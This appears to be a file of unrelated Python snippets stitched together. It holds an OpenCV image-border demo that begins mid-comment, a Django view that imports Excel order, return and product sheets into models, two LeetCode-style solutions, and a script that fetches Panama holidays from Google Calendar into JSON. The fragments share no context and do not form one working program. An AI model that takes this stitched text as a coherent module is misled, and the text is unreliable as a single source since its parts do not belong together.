#cv2.BORDER_REFLECT_101 or cv2.BORDER_DEFAULT: It does the same works as cv2.BORDER_REFLECT but with slight change.
#Suppose, if image contains letters “abcdefgh” then output will be “gfedcb|abcdefgh|gfedcba“.
#cv2.BORDER_REPLICATE: It replicates the last element. Suppose, if image contains letters “abcdefgh” then output will be “aaaaa|abcdefgh|hhhhh“.

import cv2

img = cv2.imread("se1.png")

reflect = cv2.copyMakeBorder(img, 100, 100, 100, 100, cv2.BORDER_REFLECT)
cv2.imshow('Reflect', reflect)
cv2.waitKey(0)

wrap = cv2.copyMakeBorder(img, 100, 100, 100, 100, cv2.BORDER_WRAP)
cv2.imshow('Wrap', wrap)
cv2.waitKey(0)

default = cv2.copyMakeBorder(img, 100, 100, 100, 100, cv2.BORDER_DEFAULT)
cv2.imshow('Default', default)
cv2.waitKey(0)

rep = cv2.copyMakeBorder(img, 100, 100, 100, 100, cv2.BORDER_REPLICATE)
cv2.imshow('Replicate', rep)
cv2.waitKey(0)

cnst = cv2.copyMakeBorder(img, 100, 100, 100, 100, cv2.BORDER_CONSTANT)
cv2.imshow('Constant', cnst)
cv2.waitKey(0)

cv2.destroyAllWindows()


import os, time

from django.contrib.auth.decorators import login_required
from django.http import HttpResponse, HttpResponseRedirect, JsonResponse
from django.shortcuts import render, render_to_response

from rest_framework import viewsets

from . import serializers, models
from uprofile import models as umodels
from .excelhandle import *

def checkexcel(request):
    return render(request, 'yoback/excelcheck.html', context={})

class GoodsClassifyViewSet(viewsets.ModelViewSet):
    queryset = models.GoodsClassify.objects.all()
    serializer_class = serializers.GoodsClassifySerializer
    # permission_classes = (permissions.IsAuthenticatedOrReadOnly, )
    # pagination_class = StandardResultsSetPagination

    def perform_create(self, serializer):
        serializer.save(created_by=self.request.user)

@login_required
def yoback(request):
    if request.user.is_authenticated and request.user.is_staff == 1:
        return render(request, 'yoback/yoback.html', context={})
    else:
        return HttpResponseRedirect('/login')

@login_required
def upload(request):
    # 如何是电商或者god 则可用进入  否则提示无权限！ 同理建设电视的上传
    power = umodels.Uprofile.objects.get(user=request.user).upower
    if power == 1 or power == 3:
        if request.method == "POST":

            name = str(request.FILES['xlfile']).split('.')
            filenm = request.user.username + '-' + name[0] + '-' + str(time.strftime("%Y-%m-%d-%Hh%Mm%Ss",time.localtime())) + '.' + name[1]
            handle_upload_file(request.FILES['xlfile'], filenm)
            request.session['filenm'] = filenm

            # 开始读excel
            data = ExcelToJson(filenm)
            datadic = data.readExcel()
            # datadictotal = {'data': datadic}

            return render(request, 'yoback/excelcheck.html', context={'datadic':datadic})

        if request.method == "GET":

            filenm = request.session.get('filenm', None)
            if  filenm:
                data = ExcelToJson(filenm)
                datadic = data.readExcel()

                # keyName = filenm.split('-')[1]
                if '商品清单' in filenm:
                    # ******************************************************************
                    # ******************************************************************
                    for i in datadic['商品分类'][1::]:
                        models.GoodsClassify.objects.create(catNo= i['catNo'],
                                                            catName= i['catname'],
                                                            edited_by= request.user)
                    # ******************************************************************
                    # ******************************************************************

                    for i in datadic['商品清单'][1::]:
                        models.GoodsList.objects.create(channel= i['渠道'],
                                                        catNo= models.GoodsClassify.objects.get(catNo=i['分类编码']),
                                                        skuNo=str(i['sku编码']),
                                                        skuName=i['sku名称'],
                                                        price=i['商品单价'],
                                                        edited_by= request.user)
                    # ******************************************************************
                    # ******************************************************************
                elif '退货' in filenm:

                    for i in datadic['退货订单'][1::]:
                        models.RevokeOrder.objects.create(channel= i['渠道'],
                                                        rorderdate= i['退货日期'],
                                                        rordertime=i['退货时间'],
                                                        rorderNo=i['退货订单号'],
                                                        orderNo=i['原始订单号'],
                                                        skuNo=i['sku编码'],
                                                        ramount=i['退货数量'],
                                                        price=i['商品单价'],
                                                        discountprice=i['折扣金额'],
                                                        revokeprice=i['退货商品金额'],
                                                        rorderPay=i['退货订单金额'],

                                                        edited_by= request.user)
                    # ******************************************************************
                    # ******************************************************************
                else:
                    try:
                        for i in datadic['销售订单'][1::]:
                            models.SaleOrder.objects.create(channel= i['渠道'],
                                                            orderdate= i['下单日期'],
                                                            ordertime=i['下单时间'],
                                                            orderNo=i['订单号'],
                                                            customer=i['客户姓名'],
                                                            cuscellphone=i['联系方式'],
                                                            province=i[r'省/市'],
                                                            city=i[r'市/区'],
                                                            skuNo=i['sku编码'],
                                                            amount=i['数量'],
                                                            price=i['商品单价'],
                                                            Sumprice=i['商品总金额'],
                                                            discountprice=i['折扣金额'],
                                                            orderPay=i['订单实付金额'],
                                                            promotion=i['促销活动'],
                                                            edited_by= request.user)
                    except:
                        print('表不对！')

                return JsonResponse({'url': '/yoback/'})
            else:
                return JsonResponse({'error': '审核失败，请核查excel内容，重新上传！,请检查是否有新商品需要添加。'})
    else:
        return HttpResponse('无权限访问')


from collections import deque

class Solution(object):
    def zigzagLevelOrder(self, root):
        if not root:
            return []

        from_left = True
        queue = deque([root])
        res = []
        while queue:
            level = deque()
            for i in range(len(queue)):
                node = queue.popleft()
                if node:
                    if from_left:
                        level.append(node.val)
                    else:
                        level.appendleft(node.val)

                    if node.left:
                        queue.append(node.left)
                    if node.right:
                        queue.append(node.right)

            res.append(level)
            from_left = not from_left

        return res


from __future__ import print_function
import datetime
import os.path
from googleapiclient.discovery import build
from google_auth_oauthlib.flow import InstalledAppFlow
from google.auth.transport.requests import Request
from google.oauth2.credentials import Credentials
import json

# If modifying these scopes, delete the file token.json.
SCOPES = ["https://www.googleapis.com/auth/calendar.readonly"]

CURR_DIR = os.path.dirname(os.path.abspath(__file__)) + os.path.sep
TOKEN_FILE = CURR_DIR + "token.json"
CREDS_FILE = CURR_DIR + "credentials.json"
JSON_OUT_FILE = CURR_DIR + "holidays.json"

def main():
    """Shows basic usage of the Google Calendar API.
    Prints the start and name of the next 10 events on the user's calendar.
    """
    creds = None
    # The file token.json stores the user's access and refresh tokens, and is
    # created automatically when the authorization flow completes for the first
    # time.
    if os.path.exists(TOKEN_FILE):
        creds = Credentials.from_authorized_user_file(TOKEN_FILE, SCOPES)
    # If there are no (valid) credentials available, let the user log in.
    if not creds or not creds.valid:
        if creds and creds.expired and creds.refresh_token:
            creds.refresh(Request())
        else:
            flow = InstalledAppFlow.from_client_secrets_file(CREDS_FILE, SCOPES)
            creds = flow.run_local_server(port=0)
        # Save the credentials for the next run
        with open(TOKEN_FILE, "w") as token:
            token.write(creds.to_json())

    service = build("calendar", "v3", credentials=creds)

    # Get Panama Holidays
    now = datetime.datetime.utcnow().isoformat() + "Z"  # 'Z' indicates UTC time

    YEAR = datetime.datetime.now().year
    startDate = datetime.datetime(YEAR, 1, 1).isoformat() + "Z"
    endDate = datetime.datetime(YEAR, 12, 31).isoformat() + "Z"

    eventsResult = (
        service.events()
        .list(
            calendarId="es.pa#holiday@group.v.calendar.google.com",
            timeMin=startDate,
            timeMax=endDate,
            singleEvents=True,
            orderBy="startTime",
        )
        .execute()
    )

    # Save Holidays to JSON file
    data = json.dumps(eventsResult)
    with open(JSON_OUT_FILE, "w", encoding="utf8") as json_file:
        json_file.write(data)

if __name__ == "__main__":
    main()


from typing import List

class Solution:
    def minNumberOfHours(self, initialEnergy: int, initialExperience: int, energy: List[int], experience: List[int]) -> int:
        min_number = 0
        for i in range(len(energy)):
            if initialEnergy <= energy[i]:
                min_number += energy[i] - initialEnergy + 1
                initialEnergy = energy[i] + 1
            if initialExperience <= experience[i]:
                min_number += experience[i] - initialExperience + 1
                initialExperience = experience[i] + 1
            initialEnergy -= energy[i]
            initialExperience += experience[i]
        return min_number